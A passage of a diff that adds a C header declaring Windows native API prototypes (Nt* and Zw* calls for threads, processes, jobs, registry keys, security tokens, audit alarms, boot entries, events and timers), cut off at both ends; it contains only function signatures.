HandleAttributes, + IN ULONG Flags, + OUT PHANDLE NewThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryPortInformationProcess ( + VOID + ); + + +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN HANDLE ProcessHandle, + OUT PCLIENT_ID ClientId, + IN PCONTEXT ThreadContext, + IN PINITIAL_TEB InitialTeb, + IN BOOLEAN CreateSuspended + ); + + +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PCLIENT_ID ClientId + ); + + +NTSTATUS +NTAPI +NtTerminateThread ( + IN OPTIONAL HANDLE ThreadHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtSuspendThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtSuspendProcess ( + HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtResumeProcess ( + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtGetContextThread ( + IN HANDLE ThreadHandle, + IN OUT PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtSetContextThread ( + IN HANDLE ThreadHandle, + IN PCONTEXT ThreadContext + ); + + +NTSTATUS +NTAPI +NtQueryInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationThread ( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + IN PVOID ThreadInformation, + IN ULONG ThreadInformationLength + ); + + +NTSTATUS +NTAPI +NtAlertThread ( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtAlertResumeThread ( + IN HANDLE ThreadHandle, + OUT OPTIONAL PULONG PreviousSuspendCount + ); + + +NTSTATUS +NTAPI +NtImpersonateThread ( + IN HANDLE ServerThreadHandle, + IN HANDLE ClientThreadHandle, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos + ); + + +NTSTATUS +NTAPI +NtTestAlert ( + VOID + ); + + +NTSTATUS +NTAPI +NtRegisterThreadTerminatePort ( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtSetLdtEntries ( + IN ULONG Selector0, + IN ULONG Entry0Low, + IN ULONG Entry0Hi, + IN ULONG Selector1, + IN ULONG Entry1Low, + IN ULONG Entry1Hi + ); + + +NTSTATUS +NTAPI +NtQueueApcThread ( + IN HANDLE ThreadHandle, + IN PPS_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcArgument1, + IN OPTIONAL PVOID ApcArgument2, + IN OPTIONAL PVOID ApcArgument3 + ); + + +NTSTATUS +NTAPI +NtCreateJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtOpenJobObject ( + OUT PHANDLE JobHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtAssignProcessToJobObject ( + IN HANDLE JobHandle, + IN HANDLE ProcessHandle + ); + + +NTSTATUS +NTAPI +NtTerminateJobObject ( + IN HANDLE JobHandle, + IN NTSTATUS ExitStatus + ); + + +NTSTATUS +NTAPI +NtIsProcessInJob ( + IN HANDLE ProcessHandle, + IN OPTIONAL HANDLE JobHandle + ); + + +NTSTATUS +NTAPI +NtCreateJobSet ( + IN ULONG NumJob, + IN PJOB_SET_ARRAY UserJobSet, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtQueryInformationJobObject ( + IN OPTIONAL HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + OUT PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationJobObject ( + IN HANDLE JobHandle, + IN JOBOBJECTINFOCLASS JobObjectInformationClass, + IN PVOID JobObjectInformation, + IN ULONG JobObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtCreateKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + ULONG TitleIndex, + IN OPTIONAL PUNICODE_STRING Class, + IN ULONG CreateOptions, + OUT OPTIONAL PULONG Disposition + ); + + +NTSTATUS +NTAPI +NtDeleteKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtDeleteValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName + ); + + +NTSTATUS +NTAPI +NtEnumerateKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtEnumerateValueKey( + IN HANDLE KeyHandle, + IN ULONG Index, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtFlushKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtInitializeRegistry( + IN USHORT BootCondition + ); + + +NTSTATUS +NTAPI +NtNotifyChangeKey( + IN HANDLE KeyHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtNotifyChangeMultipleKeys( + IN HANDLE MasterKeyHandle, + IN OPTIONAL ULONG Count, + IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree, + OUT OPTIONAL PVOID Buffer, + IN ULONG BufferSize, + IN BOOLEAN Asynchronous + ); + + +NTSTATUS +NTAPI +NtLoadKey( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile + ); + + +NTSTATUS +NTAPI +NtLoadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtLoadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN POBJECT_ATTRIBUTES SourceFile, + IN ULONG Flags, + IN OPTIONAL HANDLE TrustClassKey + ); + + +NTSTATUS +NTAPI +NtOpenKey( + OUT PHANDLE KeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryKey( + IN HANDLE KeyHandle, + IN KEY_INFORMATION_CLASS KeyInformationClass, + OUT OPTIONAL PVOID KeyInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT OPTIONAL PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength + ); + + +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + IN HANDLE KeyHandle, + IN OUT PKEY_VALUE_ENTRY ValueEntries, + IN ULONG EntryCount, + OUT PVOID ValueBuffer, + IN OUT PULONG BufferLength, + OUT OPTIONAL PULONG RequiredBufferLength + ); + + +NTSTATUS +NTAPI +NtReplaceKey( + IN POBJECT_ATTRIBUTES NewFile, + IN HANDLE TargetHandle, + IN POBJECT_ATTRIBUTES OldFile + ); + + +NTSTATUS +NTAPI +NtRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + +NTSTATUS +NTAPI +NtCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + +NTSTATUS +NTAPI +NtCompressKey( + IN HANDLE Key + ); + + +NTSTATUS +NTAPI +NtRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + +NTSTATUS +NTAPI +NtSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + +NTSTATUS +NTAPI +NtUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + +NTSTATUS +NTAPI +NtUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + +NTSTATUS +NTAPI +NtSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + +NTSTATUS +NTAPI +NtLockRegistryKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + +NTSTATUS +NTAPI +NtAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSTATUS +NTAPI +NtAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +NtRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_ntapi + + +// begin_zwapi +NTSTATUS +NTAPI +ZwDelayExecution ( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteBootEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + + +NTSTATUS +NTAPI +ZwSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + + +NTSTATUS +NTAPI +ZwTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + + +NTSTATUS +NTAPI +ZwAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteDriverEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + + +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + + +NTSTATUS +NTAPI +ZwOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + + +NTSTATUS +NTAPI +ZwOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + + +NTSTATUS +NTAPI +ZwOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + + +NTSTATUS +NTAPI +ZwQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + + +NTSTATUS +NTAPI +ZwSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + + +NTSTATUS +NTAPI +ZwQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + + +NTSTATUS +NTAPI +ZwSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + + +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + + +NTSTATUS +NTAPI +ZwSetUuidSeed ( + IN PCHAR Seed + ); + + + +NTSTATUS 